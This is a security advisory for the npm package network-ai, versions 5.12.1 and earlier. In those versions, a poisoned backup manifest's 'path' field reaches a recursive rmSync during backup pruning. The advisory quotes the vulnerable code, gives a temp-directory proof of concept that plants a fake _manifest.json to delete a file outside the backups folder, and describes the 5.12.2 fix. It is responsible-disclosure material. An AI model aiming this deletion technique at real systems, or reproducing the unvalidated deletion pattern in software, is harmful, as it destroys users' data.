GHSA-2fmp-9rvw-hc96: Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning
Summary EnvironmentManager.listBackups() reads each backup's manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).
Published Jun 19, 2026
Affected packages
network-ai
- Ecosystem
- npm
- Affected
- <= 5.12.1
- Fixed in
- 5.12.2
- Check
npm ls network-ai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).
An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.
Details
listBackups() trusts manifest content from disk:
for (const name of readdirSync(backupsDir)) {
const manifest = join(backupsDir, name, '_manifest.json');
if (existsSync(manifest)) {
try {
const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;
entries.push(entry);
} catch { /* corrupt manifest, skip */ }
}
}pruneBackups() uses the attacker-controlled entry.path as the deletion target:
const toDelete = all.slice(keep);
let deleted = 0;
for (const entry of toDelete) {
try {
rmSync(entry.path, { recursive: true, force: true });
deleted++;
} catch { /* ignore */ }
}Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.
Affected source evidence:
lib/env-manager.ts:505-523— reads trusted backup entries from_manifest.json.lib/env-manager.ts:529-541— recursively deletesentry.path.bin/cli.ts:464-472— default CLI exposes backup pruning.
PoC
This PoC uses only a temporary directory and deletes only a temporary file:
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const mgr = new EnvironmentManager(path.join(base, 'data'), {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
fs.writeFileSync(path.join(base, 'victim.txt'), 'safe');
const backupsDir = path.join(base, 'data', 'dev', '.backups');
fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });
fs.writeFileSync(
path.join(backupsDir, 'evil', '_manifest.json'),
JSON.stringify({
backupId: 'evil',
env: 'dev',
timestamp: '2000-01-01T00:00:00.000Z',
sizeBytes: 0,
path: path.join(base, 'victim.txt'),
})
);
console.log(JSON.stringify({
before: fs.existsSync(path.join(base, 'victim.txt')),
deleted: mgr.pruneBackups('dev', 0),
after: fs.existsSync(path.join(base, 'victim.txt')),
}, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TSObserved result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.
Impact
An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.
---
Resolution (maintainer)
Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`). Install: npm install [email protected] — published to npm with provenance.
pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
Credited to sondt99.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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